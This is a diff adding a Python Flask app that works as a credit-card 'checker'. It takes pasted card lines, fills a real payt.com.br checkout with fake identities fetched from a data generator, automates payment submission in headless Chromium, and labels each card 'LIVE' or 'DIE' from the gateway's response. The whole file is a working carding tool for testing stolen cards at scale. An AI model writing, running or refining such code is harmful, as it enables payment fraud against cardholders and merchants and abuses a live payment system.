Upload app.py

app.py

@@ -0,0 +1,375 @@
+import asyncio
+import random
+import time
+import re
+import requests
+import threading
+from flask import Flask, render_template, request
+from flask_socketio import SocketIO
+from playwright.async_api import async_playwright
+
+app = Flask(__name__, template_folder='templates', static_folder='static')
+app.config['SECRET_KEY'] = 'payt-checker-v5-final'
+socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')
+
+active_processes = {}
+
+class PaytChecker:
+    def __init__(self, sid):
+        self.sid = sid
+        self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
+        self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
+
+    async def emit_to_client(self, event, data):
+        socketio.emit(event, data, room=self.sid)
+
+    def gerar_dados(self):
+        """Obtém dados reais da API 4devs. Se falhar, levanta exceção (sem fallback fixo)."""
+        try:
+            url = 'https://www.4devs.com.br/ferramentas_online.php'
+            payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
+            headers = {'Content-Type': 'application/x-www-form-urlencoded'}
+            r = requests.post(url, data=payload, headers=headers, timeout=5)
+            res = r.json()
+            d = res[0] if isinstance(res, list) else res
+            if d.get('nome'):
+                return {
+                    'nome': d['nome'],
+                    'nome_cartao': d['nome'].upper(),
+                    'cpf': d['cpf'],
+                    'email': d['email'],
+                    'telefone': d['telefone']
+                }
+            else:
+                raise Exception("4devs retornou dados incompletos")
+        except Exception as e:
+            # Se quiser FALLBACK (aleatório), descomente as linhas abaixo e comente o raise
+            # print(f"4devs falhou: {e}, gerando dados aleatórios")
+            # primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
+            # sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
+            # nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
+            # cpf = "".join([str(random.randint(0,9)) for _ in range(11)])
+            # email = f"{nome.split()[0].lower()}{random.randint(100,999)}{random.choice(self.provedores_email)}"
+            # return {
+            #     'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf,
+            #     'email': email, 'telefone': f"119{random.randint(10000000,99999999)}"
+            # }
+            raise Exception(f"Não foi possível obter dados do 4devs: {e}")
+
+    def classificar_retorno(self, mensagem):
+        termos_live = ["compra ainda não foi finalizada", "saldo insuficiente", "suporte", "verifique os dados"]
+        termos_die = ["revise os dados", "não conseguimos processar", "recusado", "inválidos"]
+        for t in termos_live:
+            if t.lower() in mensagem.lower():
+                return "LIVE"
+        for t in termos_die:
+            if t.lower() in mensagem.lower():
+                return "DIE"
+        return "DIE"
+
+    async def capturar_retorno(self, page):
+        for tentativa in range(60):
+            if self.sid in active_processes and active_processes[self.sid].get('stop'):
+                return "STOP", ""
+            await asyncio.sleep(1)
+            url = page.url
+            if any(x in url for x in ["obrigado", "success", "sucesso", "confirmacao"]):
+                return "LIVE", "Pagamento aprovado com sucesso!"
+
+            try:
+                for sel in ['xpath=//*[@id="app"]/nav/div/p', '.swal2-html-container', '.toast-message', '.alert', '.error-message']:
+                    locator = page.locator(sel)
+                    if await locator.count() > 0:
+                        texto = await locator.first.text_content()
+                        if texto and len(texto.strip()) > 5:
+                            msg = texto.strip()
+                            if any(x in msg.lower() for x in ["processando", "aguarde", "confirmando"]):
+                                continue
+                            return self.classificar_retorno(msg), msg
+            except:
+                pass
+        return "DIE", "Timeout - Sem resposta da gateway"
+
+    async def preencher_campo(self, page, selectors, valor, campo_nome, tipo='fill'):
+        """
+        Tenta preencher um campo usando múltiplos seletores.
+        Se 'tipo' for 'fill' -> usa locator.fill()
+        Se for 'type'  -> usa locator.type() com delay
+        Se todas falharem, tenta via JavaScript + eventos.
+        Retorna True se conseguiu, False caso contrário.
+        """
+        for sel in selectors:
+            try:
+                # Aguarda o elemento visível e habilitado
+                await page.wait_for_selector(sel, state='visible', timeout=8000)
+                locator = page.locator(sel).first
+                await locator.scroll_into_view_if_needed()
+                await locator.click(force=True)
+                await asyncio.sleep(0.3)
+                if tipo == 'type':
+                    await locator.type(str(valor), delay=50)
+                else:
+                    await locator.fill(str(valor))
+                # Dispara eventos para garantir que o JS do site detecte a mudança
+                await locator.evaluate("el => el.dispatchEvent(new Event('input', { bubbles: true }))")
+                await locator.evaluate("el => el.dispatchEvent(new Event('change', { bubbles: true }))")
+                await locator.evaluate("el => el.dispatchEvent(new Event('blur', { bubbles: true }))")
+                print(f"[✓] Preenchido {campo_nome} com seletor: {sel}")
+                return True
+            except Exception as e:
+                print(f"[!] Falha com seletor {sel} para {campo_nome}: {e}")
+                continue
+
+        # Fallback via JavaScript
+        try:
+            # Tenta encontrar o campo por atributos comuns usando XPath mais flexível
+            js_fallback = f"""
+                (function() {{
+                    let selectors = {selectors};
+                    let input = null;
+                    for(let sel of selectors) {{
+                        let el = document.querySelector(sel);
+                        if(el && (el.tagName === 'INPUT' || el.tagName === 'TEXTAREA')) {{
+                            input = el;
+                            break;
+                        }}
+                    }}
+                    if(!input) return false;
+                    input.value = '{str(valor)}';
+                    input.dispatchEvent(new Event('input', {{ bubbles: true }}));
+                    input.dispatchEvent(new Event('change', {{ bubbles: true }}));
+                    input.dispatchEvent(new Event('blur', {{ bubbles: true }}));
+                    return true;
+                }})();
+            """
+            result = await page.evaluate(js_fallback)
+            if result:
+                print(f"[✓] Fallback JS funcionou para {campo_nome}")
+                return True
+        except Exception as e:
+            print(f"[✗] Fallback JS falhou para {campo_nome}: {e}")
+
+        print(f"[✗] Não foi possível preencher {campo_nome} após todas as tentativas")
+        return False
+
+    async def testar_cartao(self, cartao, slot, stats_container):
+        if self.sid in active_processes and active_processes[self.sid].get('stop'):
+            return
+
+        partes = cartao.split('|')
+        if len(partes) != 4:
+            stats_container['errors'] += 1
+            await self.emit_to_client('update_stats', stats_container)
+            return
+
+        numero, mes, ano, cvv = partes
+        ano = ano[-2:] if len(ano) == 4 else ano
+
+        try:
+            dados = self.gerar_dados()
+        except Exception as e:
+            stats_container['errors'] += 1
+            stats_container['checked'] += 1
+            await self.emit_to_client('result', {
+                'entry': {'status': 'ERROR', 'card': cartao, 'msg': f'Falha ao gerar dados: {e}', 'slot': slot, 'tempo': 0},
+                'stats': stats_container
+            })
+            return
+
+        inicio = time.time()
+
+        async with async_playwright() as p:
+            browser = None
+            try:
+                browser = await p.chromium.launch(headless=True, args=['--no-sandbox'])
+                page = await browser.new_page()
+                await self.emit_to_client('thread_status', {'id': slot, 'status': 'active', 'card': cartao})
+
+                await page.goto(self.base_url, wait_until='networkidle', timeout=90000)
+
+                # Aguarda um pouco para o JS carregar completamente
+                await page.wait_for_timeout(2000)
+
+                # ------------------------------------------------------------
+                # 1. DADOS PESSOAIS
+                # ------------------------------------------------------------
+                # Nome completo
+                nome_ok = await self.preencher_campo(page, [
+                    '#full_name', 'input[id="full_name"]', 'input[name="full_name"]',
+                    'input[placeholder*="nome"]', 'input[placeholder*="Nome"]',
+                    'input[aria-label*="nome"]', 'input[aria-label*="Nome"]',
+                    'xpath=//input[contains(@placeholder, "nome")]',
+                    'xpath=//input[contains(@placeholder, "Nome")]'
+                ], dados['nome'], "NOME")
+                if not nome_ok:
+                    raise Exception("Campo NOME não encontrado mesmo após fallback")
+
+                # Email
+                await self.preencher_campo(page, [
+                    '#email', 'input[name="email"]', 'input[placeholder*="email"]',
+                    'input[placeholder*="Email"]', 'input[type="email"]',
+                    'input[aria-label*="email"]'
+                ], dados['email'], "EMAIL")
+
+                # Telefone (com múltiplos padrões)
+                await self.preencher_campo(page, [
+                    '#phone', 'input[name="phone"]', 'input[placeholder*="telefone"]',
+                    'input[placeholder*="Telefone"]', 'input[type="tel"]',
+                    'input[name="telefone"]', 'input[name="cellphone"]'
+                ], dados['telefone'], "TELEFONE")
+
+                # CPF
+                await self.preencher_campo(page, [
+                    '#cpf_cnpj', 'input[name="cpf_cnpj"]', 'input[placeholder*="CPF"]',
+                    'input[placeholder*="Cpf"]', 'input[name="cpf"]',
+                    'input[data-field="cpf"]'
+                ], dados['cpf'], "CPF")
+
+                await page.evaluate("window.scrollBy(0, 500)")
+                await asyncio.sleep(1)
+
+                # ------------------------------------------------------------
+                # 2. DADOS DO CARTÃO
+                # ------------------------------------------------------------
+                # Número do cartão
+                card_ok = await self.preencher_campo(page, [
+                    '#cardNumber', 'input[name="cardNumber"]', 'input[placeholder*="número"]',
+                    'input[placeholder*="cartão"]', 'input[placeholder*="Cartão"]',
+                    'input[data-field="cardNumber"]', 'input[autocomplete="cc-number"]'
+                ], numero, "CARTÃO", tipo='type')
+                if not card_ok:
+                    raise Exception("Campo NÚMERO DO CARTÃO não encontrado")
+
+                # Nome impresso
+                await self.preencher_campo(page, [
+                    '#cardName', 'input[name="cardName"]', 'input[placeholder*="impresso"]',
+                    'input[placeholder*="nome no cartão"]', 'input[placeholder*="Nome no Cartão"]',
+                    'input[autocomplete="cc-name"]'
+                ], dados['nome_cartao'], "NOME_NO_CARTÃO")
+
+                # Validade (MM/AA ou MMAA)
+                await self.preencher_campo(page, [
+                    '#cardDueDate', 'input[name="cardDueDate"]', 'input[placeholder*="MM/AA"]',
+                    'input[placeholder*="validade"]', 'input[placeholder*="Validade"]',
+                    'input[placeholder*="MM/YY"]', 'input[autocomplete="cc-exp"]'
+                ], f"{mes}{ano}", "VALIDADE", tipo='type')
+
+                # CVV
+                await self.preencher_campo(page, [
+                    '#cardCvv', 'input[name="cardCvv"]', 'input[placeholder*="CVV"]',
+                    'input[placeholder*="cvv"]', 'input[autocomplete="cc-csc"]'
+                ], cvv, "CVV", tipo='type')
+
+                # ------------------------------------------------------------
+                # 3. SUBMIT
+                # ------------------------------------------------------------
+                btn_clicado = False
+                botoes = [
+                    'button:has-text("Confirmar Pagamento")',
+                    'button:has-text("Confirmar")',
+                    'button[type="submit"]',
+                    '.btn-primary',
+                    'button:has-text("Pagar")',
+                    'button:has-text("Finalizar")'
+                ]
+                for sel in botoes:
+                    try:
+                        btn = page.locator(sel).first
+                        if await btn.count() > 0:
+                            await btn.scroll_into_view_if_needed()
+                            await btn.click(force=True)
+                            btn_clicado = True
+                            print("[✓] Botão de pagamento clicado")
+                            break
+                    except:
+                        continue
+
+                if not btn_clicado:
+                    raise Exception("Botão de pagamento não encontrado")
+
+                # Aguarda o processamento e captura o retorno
+                status, msg = await self.capturar_retorno(page)
+                if status == "STOP":
+                    if browser:
+                        await browser.close()
+                    return
+
+                tempo = round(time.time() - inicio, 1)
+                if status == "LIVE":
+                    stats_container['lives'] += 1
+                    await self.emit_to_client('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo})
+                else:
+                    stats_container['dies'] += 1
+
+                stats_container['checked'] += 1
+                await self.emit_to_client('result', {
+                    'entry': {'status': status, 'card': cartao, 'msg': msg, 'slot': slot, 'tempo': tempo},
+                    'stats': stats_container
+                })
+
+                await browser.close()
+
+            except Exception as e:
+                if self.sid in active_processes and active_processes[self.sid].get('stop'):
+                    if browser:
+                        await browser.close()
+                    return
+                stats_container['errors'] += 1
+                stats_container['checked'] += 1
+                await self.emit_to_client('result', {
+                    'entry': {'status': 'ERROR', 'card': cartao, 'msg': str(e), 'slot': slot, 'tempo': 0},
+                    'stats': stats_container
+                })
+                if browser:
+                    await browser.close()
+
+
+@app.route('/')
+def index():
+    return render_template('index.html')
+
+
+def run_async_checker(cards, threads_count, sid):
+    loop = asyncio.new_event_loop()
+    asyncio.set_event_loop(loop)
+    stats = {'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 'total': len(cards)}
+    checker = PaytChecker(sid)
+    socketio.emit('started', {'total': len(cards), 'threads': threads_count}, room=sid)
+
+    async def worker(card_list, slot_id):
+        for card in card_list:
+            if sid in active_processes and active_processes[sid].get('stop'):
+                break
+            await checker.testar_cartao(card, slot_id, stats)
+        socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
+
+    chunks = [cards[i::threads_count] for i in range(threads_count)]
+    tasks = [worker(chunk, i) for i, chunk in enumerate(chunks) if chunk]
+    loop.run_until_complete(asyncio.gather(*tasks))
+    socketio.emit('finished', {'stats': stats, 'stopped': (sid in active_processes and active_processes[sid].get('stop'))}, room=sid)
+    if sid in active_processes:
+        del active_processes[sid]
+    loop.close()
+
+
+@socketio.on('start_process')
+def handle_start(data):
+    sid = request.sid
+    if sid in active_processes:
+        return
+    cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
+    threads_count = min(int(data['threads']), 10)
+    active_processes[sid] = {'stop': False}
+    threading.Thread(target=run_async_checker, args=(cards, threads_count, sid)).start()
+
+
+@socketio.on('stop_process')
+def handle_stop():
+    sid = request.sid
+    if sid in active_processes:
+        active_processes[sid]['stop'] = True
+        socketio.emit('finished', {'stats': {}, 'stopped': True}, room=sid)
+
+
+if __name__ == '__main__':
+    socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)